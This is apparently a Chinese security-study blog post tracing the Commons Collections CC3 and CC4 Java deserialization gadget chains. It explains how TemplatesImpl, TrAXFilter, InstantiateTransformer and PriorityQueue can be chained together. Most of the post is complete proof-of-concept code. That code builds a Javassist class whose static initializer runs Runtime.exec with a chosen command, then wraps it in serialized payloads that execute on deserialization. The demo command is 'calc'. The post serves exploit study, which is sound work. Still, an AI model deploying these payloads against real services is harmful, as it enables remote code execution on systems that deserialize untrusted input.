cc3
关于类的动态加载执行恶意代码
java基础知识中我们学到了一些ClassLoader.defineClass加载
其实这里是ClassLoader这个类会递归,最终调用到defineClass
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6lZu3JAT-1649725376829)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411155257616.png)]
defineclass
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Oy6VxQK0-1649725367797)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411155226113.png)]
只做类加载不会执行代码的,所以要找个初始化的地方
那必须是使用它并重写它,public的地方
最终找到在这里
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lkPzX7R7-1649725253416)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411155832275.png)]
然后
    Class defineClass(final byte[] b) {
        return defineClass(null, b, 0, b.length);
    }
}
 
由于没有指出作用域,所以这个函数默认只能在这个包里面使用
查找这个’ defineClass’注意英文前面有个空格
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qtUb2HpY-1649725253417)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411161129916.png)]
private void defineTransletClasses()
 
私有方法,看看谁调用了它

有3个
逐一解释,先看前两个
private void defineTransletClasses()先返回了一个类(如下图)

getTransletClasses
 
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vM9og7I2-1649725253421)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411161544214.png)]
也就是返回一个初始化的类
最后一个
private Translet getTransletInstance()
 
比较神奇
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DkowOGzL-1649725253421)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411161811952.png)]
一个是它不少返回初始化类,另一个是它有newInstance,假如能够让初始化了恶意代码的类执行这个函数,就可以newInstance的时候使他执行
可惜是private,继续找谁调用了

有个public,那我们思路清晰了
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MSftudOW-1649725253423)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411163730984.png)]
写TemplateImp
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
 
然后还要满足下面这些
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NuA3LMoN-1649725253424)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411165419002.png)]


所以改为
TemplatesImpl templates = new TemplatesImpl();
Class tc  = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
templates.newTransformer();
 
里面的
byte[] code = Files.readAllBytes(Paths.get(“D://tmp/classes/test.class”));
 byte[][] codes = {code};
 bytecodesField.set(templates,codes);
注意了,是在这里加载恶意类
test,class
package org.apache.commons.collections;
import java.io.IOException;
public class test {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
 
不过经过调试,由于里面代码的需要

这个恶意类必须继承 AbstractTranslet 接口
前面加载了恶意类之后这里有两个判断,第一个判断是判断这个类的父类是不是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet ,如果不是那么 _transletIndex 会被赋值为 - 1 并且进入下面的 if 语句从而报错 所以恶意类需要继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet类 接着看 _tfactory 的赋值
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-okqasxcZ-1649725253427)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411173810707.png)]
它是一个 transient 变量,说明直接给值是不行的,那就直接到 readObjcet 看看
最终test.class

不过我们也可以用平时打比赛的恶意类(更好,因为序列化后字节长度更短)
public static byte[] getTemplatesImpl(String cmd) {
    try {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Evil");
        CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = ctClass.makeClassInitializer();
        constructor.setBody(" try {\n" +
                " Runtime.getRuntime().exec(\"" + cmd +
                "\");\n" +
                " } catch (Exception ignored) {\n" +
                " }");
        byte[] bytes = ctClass.toBytecode();
        ctClass.defrost();
        return bytes;
    } catch (Exception e) {
        e.printStackTrace();
        return new byte[]{};
    }
}
 
最终poc
package org.apache.commons.collections;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class ccone {
    public static void setValue(String name, Object target, Object value) {
        try {
            Field field = target.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(target, value);
        } catch (Exception ignore) {
        }
    }
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }
    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");
        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());
        templates.newTransformer();
    }
}
 
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xld3q1gy-1649725253430)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411175416238.png)]
由此我们得出结论:
- 可以利用类的动态加载来执行恶意代码
 

cc1对它的使用
poc
package org.apache.commons.collections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class ccone {
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }
    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
    public static void main(String[] args) throws Exception
    {
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");
        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());
        //templates.newTransformer();
        Transformer[] transformers = new Transformer[]{
                //new ConstantTransformer(Runtime.class),
                new ConstantTransformer(templates),
//                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
//                new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
                //new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
                new InvokerTransformer("newTransformer", null,null)
        };
        ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        map.put("value", "aaa");
        Map<Object,Object> transformedMap =  TransformedMap.decorate(map, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstruct.setAccessible(true);
        Object o = annotationInvocationHandlerConstruct.newInstance(Target.class, transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }
}
 

cc3的前半段
templates.newTransformer();
 
之前cc1的前半段就是为了替代它的功能(外加一个可以被序列化),所以这里挖链子要先找谁调用了newTransformer
-  
TemplatesImpl.getOutputProperties 
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OFYwgBda-1649725253433)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411200049390.png)]
待定
-  
TransformerFactoryImpl.newTransformer 
public Transformer newTransformer(Source source) throws
    TransformerConfigurationException
{
    final Templates templates = newTemplates(source);
    final Transformer transformer = templates.newTransformer();
    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }
    return(transformer);
}
 
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3MhF4YvM-1649725253434)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411200457838.png)]
看了下构造函数很难传参
-  
TrAXFilter的构造函数 
public TrAXFilter(Templates templates)  throws
    TransformerConfigurationException
{
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _useServicesMechanism = _transformer.useServicesMechnism();
}
 
这个解决了难以传参的问题,但是看了一下没有实现序列化接口,不过先留着,之前构造cc1的思路就是看看有没有谁调用它
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-X3WZkjc0-1649725253435)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411201017873.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ECUoegZs-1649725253436)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411201024032.png)]
参考了cc3的作者,原来是他创造性的发现了这个
InstantiateTransformer
 
他实现了序列化接口
public class InstantiateTransformer implements Transformer, Serializable 
 
而在他的构造方法下面有transform(iArgs)
public Object transform(Object input) {
    try {
        if (input instanceof Class == false) {
            throw new FunctorException(
                "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                    + (input == null ? "null object" : input.getClass().getName()));
        }
        Constructor con = ((Class) input).getConstructor(iParamTypes);
        return con.newInstance(iArgs);
    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
    } catch (InstantiationException ex) {
        throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
    }
}
 
构造函数可控
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YqMXwwep-1649725253437)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411201659192.png)]
非常理想
所以思路就是InstantiateTransformer.transform->TrAXFilter的构造函数->newInstance
写poc
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
 
目前的poc
public static void main(String[] args) throws Exception
{
    TemplatesImpl templates = new TemplatesImpl();
    setValue(templates,"_name", "aaa");
    byte[] code = getTemplatesImpl("calc");
    byte[][] bytecodes = {code};
    setValue(templates, "_bytecodes", bytecodes);
    setValue(templates,"_tfactory", new TransformerFactoryImpl());
    //templates.newTransformer();
    InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
    instantiateTransformer.transform(TrAXFilter.class);
}
 
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6Ra4qemy-1649725253437)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411202801889.png)]
然后接上一个用于序列化的东西,例如hashmap.lazymap都行(就是把之前cc1或者cc6的前面部分黏贴过来)
HashMap<Object,Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object,Object> transformedMap =  TransformedMap.decorate(map, null, instantiateTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandlerConstruct.setAccessible(true);
Object o = annotationInvocationHandlerConstruct.newInstance(Target.class, transformedMap);
 
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-A4KfrGkY-1649725253438)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411203822609.png)]

序列化行,反序列化不行
bug和之前cc1一样,还是不得不用上
Transformer[] transformers = new Transformer[]{
...
}
 
较完整的demo
package org.apache.commons.collections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class ccone {
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }
    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
    public static void main(String[] args) throws Exception
    {
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");
        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());
        //templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = new Transformer[]{
                //new ConstantTransformer(Runtime.class),
                new ConstantTransformer(TrAXFilter.class),
//                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
//                new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
                //new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
                instantiateTransformer
        };
//
        ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        map.put("value", "aaa");
        Map<Object,Object> transformedMap =  TransformedMap.decorate(map, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstruct.setAccessible(true);
        Object o = annotationInvocationHandlerConstruct.newInstance(Target.class, transformedMap);
//        serialize(o);
        unserialize("ser.bin");
//
//        InstantiateTransformer
    }
}
 
注释是为了和之前的链子进行比较
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aPnNL3cb-1649725253441)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411204316659.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-46SCrR1y-1649725253442)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411204444159.png)]
对了
视频里面是用的lazymap,其实都行,demo参考miku师傅的
对了
//        setValue(templates,"_tfactory", new TransformerFactoryImpl());
 
可以不赋值,因为序列化的时候会自动赋值
完整demo
package org.apache.commons.collections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class ccone {
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }
    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
    public static void main(String[] args) throws Exception
    {
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");
        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
//        setValue(templates,"_tfactory", new TransformerFactoryImpl());
        //templates.newTransformer();
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers = new Transformer[]{
                //new ConstantTransformer(Runtime.class),
                new ConstantTransformer(TrAXFilter.class),
//                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class }, new Object[]{"getRuntime" , null}),
//                new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class} , new Object[]{null, null}),
                //new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
                instantiateTransformer
        };
//
        ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<>();
        map.put("value", "aaa");
        Map<Object,Object> transformedMap =  TransformedMap.decorate(map, null, chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationHandlerConstruct = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationHandlerConstruct.setAccessible(true);
        Object o = annotationInvocationHandlerConstruct.newInstance(Target.class, transformedMap);
        serialize(o);
        unserialize("ser.bin");
//
//        InstantiateTransformer
    }
}
 
这张图,务必熟读

cc
环境搭建
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>
 
分析
此链后半段基本一样,试图从高版本的入口处进行一个新的链子的书写
试试ChainedTransformer,注意选cc4

注意下载源代码
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-F5spTO9g-1649725253443)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411234722277.png)]
经过对ChainedTransformer的查找用法,这里的compare调用了transform

经过不断搜索可以发现
PriorityQueue
 
这个是数据结构里面的优先队列
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cOK7QHOp-1649725253445)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411231522782.png)]
他的readObject

跟进红框内的函数
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zLxkIARN-1649725253446)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411231716856.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fgJcJsut-1649725253447)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220411231816222.png)]
用一张图解释

自己尝试编写的时候呢
会发现一个size不为0的情况
需要添加
priorityQueue.add(1);
 priorityQueue.add(2);
但是加完以后呢,加载的时候就自动执行恶意代码了
所以我们需要反射写一个
最终poc
package org.apache.commons.collections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class ccone {
    public static void setValue(String name, Object target, Object value) {
        try {
            Field field = target.getClass().getDeclaredField(name);
            field.setAccessible(true);
            field.set(target, value);
        } catch (Exception ignore) {
        }
    }
    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }
    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");
        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };
        ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);
        //chainedTransformer.transform(1);
        TransformingComparator ioTransformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(ioTransformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        Class c = ioTransformingComparator.getClass();
        Field field = c.getDeclaredField("transformer");
        field.setAccessible(true);
        field.set(ioTransformingComparator,chainedTransformer);
        //serialize(priorityQueue);
        unserialize("ser.bin");
    }
}
 











